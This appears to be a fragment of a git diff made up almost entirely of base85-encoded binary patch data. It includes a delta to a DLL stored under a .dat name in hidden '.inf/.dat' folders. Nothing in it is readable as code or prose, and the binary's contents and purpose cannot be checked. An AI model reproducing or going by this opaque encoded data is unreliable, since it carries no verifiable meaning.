zHec6#8I9*#FcqrA+GW+3Ro8Hr&G66oXJ$Oi%$J$<;s57)$S+g)XsVjNucXV<`|3x9 z>GSyBKX)$wr~>h}VL)bW_}MAo*~muVBH%gr=}rORfc3~CaQYqYO~_{8ZGbXz8*o41 z4&-*=y?}kloxt}3zKyH^XQhkoZ!{vjI9LT1UQOp2Tm}*0%gEU09E7`;4#3bk+%>J;C1-+^G4upfb$jt z5)O#_HERb>@L^;>aNM!kcaiCb!g0W7k-LH8Zq1G&?*M)ra16N@IPTaiuadET;J9D2 zOOba2uffg8j_hfJet;X1V)y9z!aWK3R%emMK!bAX88-73gUUA#^X8T81F^{ zGp<71F^7q-9PkQcnlA*i>#Zo;tk)Bqlu!NWvL<0(F3Ve$Q)6h$;>#|dSIFk=&SNFr zCN{g%$nsv%+YsMY9nUwi{JV2&a@q`jL+PxB(%h1rx;63qQPc6p+v+_oIQp-I?YCZ26iW?dRj>jC;NnasUYy$$zc z{piD5l2NvD0P6+k~|&JAmPm+5eY4kaC4uftn(nC@?g=jrfcI;_-TjSg4n(5geb4matrO^2O24Cru& z4tMD=rbDfF_*VDFjK4IG{5gLuG+1SitjMeJ@`qPDPqY4R)o5tID_bDDnC;G4BP(`C zP-&otM8@vTwRzFf;lX=RHuF2VcGu}F8gwT zecjaTk!3%7&eY-wqO(o(V#NMn(%;ea_b_~=oG#%nYuLf_T3c7Q2K};=-XB{v>Co`g zthE)dQS|zWXQ?3T1?`5;vUeNXNw{xot1IMnGIlqppschy{Qg#@$1me#q?Lq%azKAi zWb6^v>gWn~w94IXg|TN?t5d^%4$Rj@|G&a777VQ}4ZGjKJA+|eOg1|3FC=OeFgmvS z0t)Ll!sYz`GItxbn){3{mnRhL#H*yyMii>^A=nBY?`lgYdLVeKmgt1HRa{7C4 zmNfZ8N)Trj6ExqpHRNJvo9GSJ;bCmCDX0WIvKJ=}!o1EdKigp1mKKY{3C74r%xfDq ztZT3@xvaX~1IdidMZ5p)+!fsB3@GUysn?k_}4uw3&!mR|beUQYZmV1t9Wf8EJfue*34S**}ygcv$6GT z9cUXquLe%(`^MjXICVOs|9%?S=koK}RlJt|)@bCq>m(2oJ~6c%7^=4Bm_=Egq* zWk~ii7xRJZ63$b@mg3Kjb;wKER(vwHh~=T}YVdS1KQ4`4)&p%Eps)}kt>HRbAswqN zI|ICF*;a4_nUnYFN8fJ9z!HeGnQO5Ge}fcZX*ZYV=lWoUWCa;AHbF)JQl{G0vTE?8 zGh-`QG5E<2h4XqL&6A)vQ5Y z22H0dtp;U5FCM@Rle|Grkut7q+{AoL}}h^L7O0Y&DOL9 zf08v|lm?(*I}5?5N`{5FNAn)LxK|yh)4V0(&z(d$VTq`>?tl#Hjr=zI6q(uHCSNZ> zz5=-xqhbj#N>*e8;_iU7v=vh$33n%qLDGu)^1>ny*JCP%g~q+cl~;9lO@1L(zo53d zW`QVs@r4?`psHW6vE}N;%NK}21xFKy$LE#n7xc)%1y@~JJWE7c=?DhpuC1OP5kkDd z`URnYcSX?IDR()7i@V&;fG_BCDT{FoSm6kERd1_ZAa*(Mb*LOvHfdkMX+7%Vrirw* z<7-WP`>ORsRh0B^?s&868Ynxx8sCUG@$I88Um%T8`*^_B*x>T{~uFR+;gC|{ldVic=NouHB*q9DN^=7xX-M2khy_(Ks-o>kZ zUM1l31T##dR+Ij{oV@$r_pd*+70y^I_q6yvA$#i=T)wPs+1AUK)-GM@bh>KWU0L0F z@MU@kUlZ3axFoA4?Qc?!+^YF7+gnpL+`B6;O%Kc~X`ala84t{OV8#P89{4Np01mVC zTTeFFG}t!iAM72B4SsQOaB%M+%FO%@z{ElGpoID@gZ@3edt!SA_w3yh-!r=B_@41S zY^Y>N9I6>I4>b+74f%(9hhjs6LwkqfL!(2-hsKB4gC!4&4|YDh_u+jHL*h*OEAzmA E0=va2Qvd(} literal 0 HcmV?d00001 diff --git a/.inf/.dat/Tools.dll.dat b/.inf/.dat/Tools.dll.dat index 2136705e04cf703feae5491a335927ce2e7a136d..bd549884d24869545d4d445c7f8ba5592af5b5e6 100644 GIT binary patch delta 16821 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 